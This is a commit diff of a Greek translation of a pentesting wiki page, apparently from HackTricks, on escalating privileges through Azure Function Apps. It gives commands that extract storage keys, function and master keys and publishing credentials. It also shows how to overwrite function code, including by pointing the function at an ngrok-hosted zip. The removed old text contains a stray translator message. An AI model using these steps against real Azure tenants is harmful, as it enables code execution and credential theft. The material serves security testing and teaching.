mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+83
-62
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
|
||||
Ελέγξτε την ακόλουθη σελίδα για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,26 +12,26 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της function, είναι δυνατό να βρεθούν **διάφορα containers** (προσαρμοσμένα ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον κώδικα που εκτελείται από τη function**.
|
||||
Με δικαιώματα για ανάγνωση των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της function είναι δυνατό να βρείτε **διαφορετικά containers** (custom ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον code που εκτελείται από τη function**.
|
||||
|
||||
Αφού βρείτε πού βρίσκεται ο κώδικας της function, αν έχετε δικαιώματα εγγραφής σε αυτόν, μπορείτε να κάνετε τη function να εκτελέσει οποιονδήποτε κώδικα και να αυξήσετε τα προνόμια προς τα managed identities που είναι συνδεδεμένα στη function.
|
||||
Μόλις βρείτε πού βρίσκεται ο code της function, αν έχετε δικαιώματα write πάνω του, μπορείτε να κάνετε τη function να εκτελέσει οποιοδήποτε code και να κάνετε escalate privileges στις managed identities που είναι attached στη function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Ο κώδικας της function συνήθως αποθηκεύεται μέσα σε ένα file share. Με αρκετή πρόσβαση είναι δυνατό να τροποποιήσετε το αρχείο κώδικα και **να κάνετε τη function να φορτώσει αυθαίρετο κώδικα**, επιτρέποντας την αναβάθμιση προνομίων προς τα managed identities που είναι συνδεδεμένα με τη Function.
|
||||
Ο code της function συνήθως αποθηκεύεται μέσα σε ένα file share. Με αρκετή πρόσβαση είναι δυνατό να τροποποιήσετε το code file και να **κάνετε τη function να φορτώσει arbitrary code**, επιτρέποντας να κάνετε escalate privileges στις managed identities που είναι attached στη Function.
|
||||
|
||||
Αυτή η μέθοδος deployment συνήθως ρυθμίζει τις ρυθμίσεις **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** τις οποίες μπορείτε να αποκτήσετε από
|
||||
Αυτή η deployment method συνήθως ρυθμίζει τα settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** τα οποία μπορείτε να πάρετε από
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Αυτές οι ρυθμίσεις θα περιέχουν το **Storage Account Key** που η Function μπορεί να χρησιμοποιήσει για να αποκτήσει πρόσβαση στον κώδικα.
|
||||
Αυτές οι ρυθμίσεις θα περιέχουν το **Storage Account Key** που μπορεί να χρησιμοποιήσει το Function για να αποκτήσει πρόσβαση στον κώδικα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με αρκετά δικαιώματα για να συνδεθεί στο File Share και να **τροποποιήσει το script** που τρέχει, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα στη Function και η κλιμάκωση προνομίων.
|
||||
> Με αρκετά δικαιώματα για σύνδεση στο File Share και για **τροποποίηση του script** που εκτελείται, είναι δυνατό να εκτελεστεί αυθαίρετος κώδικας στο Function και να γίνει privilege escalation.
|
||||
|
||||
Το παρακάτω παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται επίσης να ελέγξετε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
|
||||
Το ακόλουθο παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται να ελέγξετε επίσης την ακόλουθη σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Είναι επίσης συνηθισμένο να βρείτε τα **zip releases** μέσα στο φάκελο `function-releases` του Storage Account container που το function app χρησιμοποιεί, σε ένα container **συνήθως ονομαζόμενο `function-releases`**.
|
||||
Είναι επίσης συνηθισμένο να βρίσκεις τα **zip releases** μέσα στον φάκελο `function-releases` του Storage Account container που χρησιμοποιεί το function app σε ένα container **συνήθως ονομαζόμενο `function-releases`**.
|
||||
|
||||
Συνήθως αυτή η μέθοδος ανάπτυξης θα ορίσει τη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE` στο:
|
||||
Συνήθως αυτή η μέθοδος deployment θα ορίσει το config `WEBSITE_RUN_FROM_PACKAGE` σε:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Αυτό το config συνήθως περιέχει ένα **SAS URL για λήψη** του κώδικα από το Storage Account.
|
||||
Αυτή η ρύθμιση συνήθως θα περιέχει ένα **SAS URL to download** τον code από το Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με αρκετά δικαιώματα για να συνδεθείτε στο blob container που **περιέχει τον κώδικα σε zip** είναι δυνατό να εκτελεστεί arbitrary code στη Function και να escalate privileges.
|
||||
> Με αρκετό permission για να συνδεθείς στο blob container που **περιέχει τον code σε zip** είναι δυνατό να εκτελέσεις arbitrary code στο Function και να κάνεις escalate privileges.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Όπως και στην προηγούμενη περίπτωση, αν το deployment γίνεται μέσω Github Actions είναι δυνατό να βρεθεί ο φάκελος **`github-actions-deploy`** στο Storage Account που περιέχει ένα zip του κώδικα και ένα SAS URL προς το zip στη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Όπως και στην προηγούμενη περίπτωση, αν το deployment γίνεται μέσω Github Actions είναι δυνατό να βρεθεί ο φάκελος **`github-actions-deploy`** στο Storage Account που περιέχει ένα zip του code και ένα SAS URL προς το zip στο setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της Function, είναι δυνατό να βρεθεί το container **`scm-releases`**. Εκεί είναι δυνατό να βρεθεί το latest release σε **Squashfs filesystem file format** και επομένως είναι δυνατό να διαβαστεί ο κώδικας της Function:
|
||||
Με permissions για να διαβάσεις τα containers μέσα στο Storage Account που αποθηκεύει τα function data είναι δυνατό να βρεθεί το container **`scm-releases`**. Εκεί είναι δυνατό να βρεθεί το latest release σε μορφή **Squashfs filesystem file format** και επομένως είναι δυνατό να διαβαστεί ο code του function:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Είναι επίσης δυνατό να βρείτε τα **master and functions keys** αποθηκευμένα στον storage account στον container **`azure-webjobs-secrets`**, μέσα στον φάκελο **`<app-name>`**, στα JSON αρχεία που θα βρείτε εκεί.
|
||||
Είναι επίσης δυνατό να βρείτε τα **master και functions keys** αποθηκευμένα στο storage account στο container **`azure-webjobs-secrets`** μέσα στον φάκελο **`<app-name>`** στα JSON files που μπορείτε να βρείτε εκεί μέσα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με επαρκή δικαιώματα για σύνδεση στον blob container που **contains the code in a zip extension file** (το οποίο στην πραγματικότητα είναι **`squashfs`**), είναι δυνατό να εκτελεστεί arbitrary code στο Function και να γίνει escalate privileges.
|
||||
> Με αρκετή permission για να συνδεθείτε στο blob container που **περιέχει τον code σε ένα zip extension file** (το οποίο στην πραγματικότητα είναι ένα **`squashfs`**) είναι δυνατό να εκτελέσετε arbitrary code στη Function και να κάνετε escalate privileges.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την απαρίθμηση των function, master και system keys της καθορισμένης λειτουργίας, αλλά όχι του host key, με:
|
||||
Αυτή η άδεια επιτρέπει να παραθέσετε τα function, master και system keys, αλλά όχι το host key, της καθορισμένης function με:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Με το κύριο κλειδί είναι επίσης δυνατό να λάβετε τον πηγαίο κώδικα μέσω ενός URL όπως:
|
||||
Με το master key είναι επίσης δυνατό να αποκτήσεις τον source code σε ένα URL όπως:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
Και για να **αλλάξετε τον κώδικα που εκτελείται** στη συνάρτηση με:
|
||||
Και για να **αλλάξετε τον κώδικα που εκτελείται** στη function με:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την απόκτηση του default key της συγκεκριμένης function με:
|
||||
Αυτή η permission επιτρέπει να αποκτήσεις το default key, της συγκεκριμένης function με:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Εκτελέστε τη function χρησιμοποιώντας το προεπιλεγμένο κλειδί που αποκτήθηκε:
|
||||
Καλέστε τη function χρησιμοποιώντας το default key που αποκτήθηκε:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει τη δημιουργία/ενημέρωση ενός function key της συγκεκριμένης function με:
|
||||
Αυτό το permission επιτρέπει τη δημιουργία/ενημέρωση ενός function key της καθορισμένης function με:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός master key για τη συγκεκριμένη function με:
|
||||
Αυτή η permission επιτρέπει τη δημιουργία/ενημέρωση ενός master key για τη συγκεκριμένη function με:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Θυμηθείτε ότι με αυτό το key μπορείτε επίσης να έχετε πρόσβαση στον source code και να τον τροποποιήσετε όπως εξηγήθηκε προηγουμένως!
|
||||
> Θυμήσου ότι με αυτό το key μπορείς επίσης να αποκτήσεις πρόσβαση στον source code και να τον τροποποιήσεις όπως εξηγήθηκε πριν!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός system function key για τη συγκεκριμένη function με:
|
||||
Αυτό το permission επιτρέπει τη δημιουργία/ενημέρωση ενός system function key για τη συγκεκριμένη function με:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Δεν λάβαμε κανένα κλειδί ή περιεχόμενο. Παρακαλώ επικολλήστε το κλειδί ή το κείμενο από το αρχείο (src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) που θέλετε να μεταφράσω.
|
||||
Χρησιμοποίησε το κλειδί:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την ανάκτηση των ρυθμίσεων μιας function. Μέσα σε αυτές τις ρυθμίσεις μπορεί να βρεθούν οι προεπιλεγμένες τιμές **`AzureWebJobsStorage`** ή **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, οι οποίες περιέχουν ένα **account key για πρόσβαση στο blob storage της function με FULL permissions**.
|
||||
Αυτή η permission επιτρέπει να ληφθούν οι ρυθμίσεις ενός function. Μέσα σε αυτές τις ρυθμίσεις μπορεί να είναι δυνατό να βρεθούν οι προεπιλεγμένες τιμές **`AzureWebJobsStorage`** ή **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, οι οποίες περιέχουν ένα **account key για πρόσβαση στο blob storage του function με FULL permissions**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Επιπλέον, αυτή η άδεια επιτρέπει επίσης την απόκτηση των **SCM username and password** (εάν είναι ενεργοποιημένα) με:
|
||||
Επιπλέον, αυτή η άδεια επιτρέπει επίσης να ληφθούν το **SCM username and password** (αν είναι ενεργοποιημένα) με:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Αυτές οι permissions επιτρέπουν να απαριθμηθούν οι τιμές του config μιας function όπως είδαμε προηγουμένως, καθώς και η **τροποποίηση αυτών των τιμών**. Αυτό είναι χρήσιμο επειδή αυτές οι ρυθμίσεις δείχνουν πού βρίσκεται ο κώδικας που θα εκτελεστεί μέσα στη function.
|
||||
Αυτά τα permissions επιτρέπουν να γίνει list των config values ενός function όπως έχουμε δει πριν, plus **modify these values**. Αυτό είναι χρήσιμο γιατί αυτές οι ρυθμίσεις δείχνουν πού βρίσκεται ο code που θα εκτελεστεί μέσα στο function.
|
||||
|
||||
Επομένως είναι δυνατό να οριστεί η τιμή της ρύθμισης **`WEBSITE_RUN_FROM_PACKAGE`** σε ένα URL αρχείου zip που περιέχει τον νέο κώδικα για εκτέλεση μέσα σε μια web application:
|
||||
Επομένως είναι δυνατό να ορίσεις την τιμή της ρύθμισης **`WEBSITE_RUN_FROM_PACKAGE`** ώστε να δείχνει σε ένα URL zip file που περιέχει το νέο code για εκτέλεση μέσα σε μια web application:
|
||||
|
||||
- Ξεκινήστε λαμβάνοντας το τρέχον config
|
||||
- Start by getting the current config
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Δημιουργήστε τον κώδικα που θέλετε να εκτελέσει η function και φιλοξενήστε τον δημόσια
|
||||
- Δημιούργησε τον κώδικα που θέλεις να εκτελεί η function και φιλοξένησέ τον δημόσια
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Τροποποιήστε τη function, κρατήστε τις προηγούμενες παραμέτρους και προσθέστε στο τέλος την config **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει στο URL με το **zip** που περιέχει τον κώδικα.
|
||||
- Τροποποίησε τη function, κράτα τις προηγούμενες παραμέτρους και πρόσθεσε στο τέλος το config **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει στο URL με το **zip** που περιέχει τον κώδικα.
|
||||
|
||||
Το ακόλουθο είναι ένα παράδειγμα των δικών μου **ρυθμίσεων που θα χρειαστεί να αλλάξετε τις τιμές για τις δικές σας**, σημειώστε στο τέλος την τιμή `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, εκεί φιλοξενούσα την εφαρμογή.
|
||||
Το παρακάτω είναι ένα παράδειγμα από τις **δικές μου ρυθμίσεις· θα χρειαστεί να αλλάξεις τις τιμές με τις δικές σου**, σημείωσε στο τέλος τις τιμές `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, εδώ είχα φιλοξενήσει την app.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Με αυτή την άδεια είναι **δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής** μέσω της web κονσόλας (ή μέσω του ακόλουθου API endpoint):
|
||||
Με αυτή την άδεια είναι **δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής** μέσω του web console (ή μέσω του ακόλουθου API endpoint):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Αυτή η άδεια επιτρέπει την απαρίθμηση όλων των publishing profiles, που ουσιαστικά περιέχουν **basic auth credentials**:
|
||||
Αυτή η άδεια επιτρέπει την εμφάνιση όλων των publishing profiles, τα οποία βασικά περιέχουν **basic auth credentials**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Μια άλλη επιλογή θα ήταν να ορίσετε τα δικά σας creds και να τα χρησιμοποιήσετε ως εξής:
|
||||
Μια άλλη επιλογή θα ήταν να ορίσεις τα δικά σου creds και να τα χρησιμοποιήσεις με:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
@@ -282,7 +282,7 @@ az functionapp deployment user set \
|
||||
```
|
||||
- Αν **REDACTED** credentials
|
||||
|
||||
Αν δείτε ότι αυτά τα credentials είναι **REDACTED**, αυτό συμβαίνει επειδή **πρέπει να ενεργοποιήσετε την επιλογή SCM basic authentication** και γι' αυτό χρειάζεστε τη δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Αν δείτε ότι αυτά τα credentials είναι **REDACTED**, είναι επειδή **πρέπει να ενεργοποιήσετε την επιλογή SCM basic authentication** και γι' αυτό χρειάζεστε το δεύτερο permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -304,24 +304,45 @@ az rest --method PUT \
|
||||
```
|
||||
- **Μέθοδος SCM**
|
||||
|
||||
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **basic auth credentials to the SCM URL** της function app σας και να λάβετε τις τιμές των env variables:
|
||||
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **basic auth credentials στο SCM URL** του function app σας και να λάβετε τις τιμές των env variables:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Σημειώστε ότι το **SCM username** είναι συνήθως ο χαρακτήρας "$" ακολουθούμενος από το όνομα της εφαρμογής, δηλαδή: `$<app-name>`._
|
||||
Μπορείς να κατεβάσεις, να τροποποιήσεις και να ανεβάσεις νέο function code :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα web από `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
Οι τιμές των ρυθμίσεων περιέχουν το **AccountKey** του storage account που αποθηκεύει τα δεδομένα της function app, επιτρέποντας τον έλεγχο αυτού του storage account.
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
Μπορείς ακόμη και να ανεβάσεις ένα συγκεκριμένο αρχείο :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_Σημείωση ότι το **SCM username** είναι συνήθως ο χαρακτήρας "$" ακολουθούμενος από το όνομα του app, άρα: `$<app-name>`._
|
||||
|
||||
- **Μέθοδος FTP**
|
||||
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη web page από το `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Οι τιμές των settings περιέχουν το **AccountKey** του storage account που αποθηκεύει τα δεδομένα του function app, επιτρέποντας τον έλεγχο αυτού του storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Συνδεθείτε στον FTP server χρησιμοποιώντας:
|
||||
```bash
|
||||
@@ -337,19 +358,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Σημειώστε ότι το **FTP username** συνήθως έχει τη μορφή \<app-name>\\$\<app-name>._
|
||||
_Σημείωση ότι το **FTP username** είναι συνήθως στη μορφή \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει να **διαβάσετε τον πηγαίο κώδικα** της εφαρμογής μέσω του VFS:
|
||||
Αυτό το permission επιτρέπει να **διαβάσεις τον source code** της app μέσω του VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Με αυτήν την άδεια είναι δυνατόν να [λάβετε το **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) το οποίο μπορεί στη συνέχεια να χρησιμοποιηθεί για να ανακτηθεί το **master key** και επομένως να αποκτήσετε πρόσβαση και να τροποποιήσετε τον κώδικα της function.
|
||||
Με αυτή την άδεια είναι δυνατό να [πάρετε το **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), το οποίο μπορεί αργότερα να χρησιμοποιηθεί για να ανακτήσετε το **master key** και έτσι να αποκτήσετε πρόσβαση και να τροποποιήσετε τον κώδικα της function.
|
||||
|
||||
Ωστόσο, στους τελευταίους μου ελέγχους δεν επιστράφηκε κανένα token, οπότε ίσως είναι απενεργοποιημένο ή δεν λειτουργεί πια, αλλά εδώ είναι πώς θα το κάνατε:
|
||||
Ωστόσο, στους τελευταίους ελέγχους μου δεν επιστράφηκε token, οπότε ίσως είναι απενεργοποιημένο ή να μην λειτουργεί πλέον, αλλά να πώς θα το κάνατε:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει να **enable functions** που μπορεί να είναι απενεργοποιημένες (ή να τις απενεργοποιήσει).
|
||||
Αυτά τα permissions επιτρέπουν να **ενεργοποιήσεις functions** που μπορεί να είναι απενεργοποιημένες (ή να τις απενεργοποιήσεις).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Επίσης μπορείτε να δείτε αν μια function είναι ενεργοποιημένη ή απενεργοποιημένη στην ακόλουθη URL (χρησιμοποιώντας την άδεια που αναφέρεται στην παρένθεση):
|
||||
Είναι επίσης δυνατό να δεις αν μια function είναι ενεργοποιημένη ή απενεργοποιημένη στο ακόλουθο URL (χρησιμοποιώντας το permission σε παρένθεση):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Με αυτά τα permissions είναι δυνατό να **τροποποιήσει κανείς το container που εκτελείται από ένα function app** το οποίο είναι ρυθμισμένο να τρέχει container. Αυτό θα επέτρεπε σε έναν attacker να ανεβάσει ένα κακόβουλο azure function container app στο docker hub (για παράδειγμα) και να κάνει τη function να το εκτελέσει.
|
||||
Με αυτά τα permissions είναι δυνατό να **τροποποιηθεί το container που εκτελείται από ένα function app** που έχει ρυθμιστεί να τρέχει σε container. Αυτό θα επέτρεπε σε έναν attacker να ανεβάσει ένα κακόβουλο azure function container app στο docker hub (για παράδειγμα) και να κάνει το function να το εκτελέσει.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Με αυτά τα δικαιώματα είναι δυνατό να **attach a new user managed identity to a function**. Αν η function είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση προνομίων σε οποιαδήποτε user managed identity.
|
||||
Με αυτά τα permissions είναι δυνατό να **attach** ένα νέο user managed identity σε ένα function. Αν το function είχε compromised, αυτό θα επέτρεπε privilege escalation σε οποιοδήποτε user managed identity.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Απομακρυσμένη Αποσφαλμάτωση
|
||||
### Remote Debugging
|
||||
|
||||
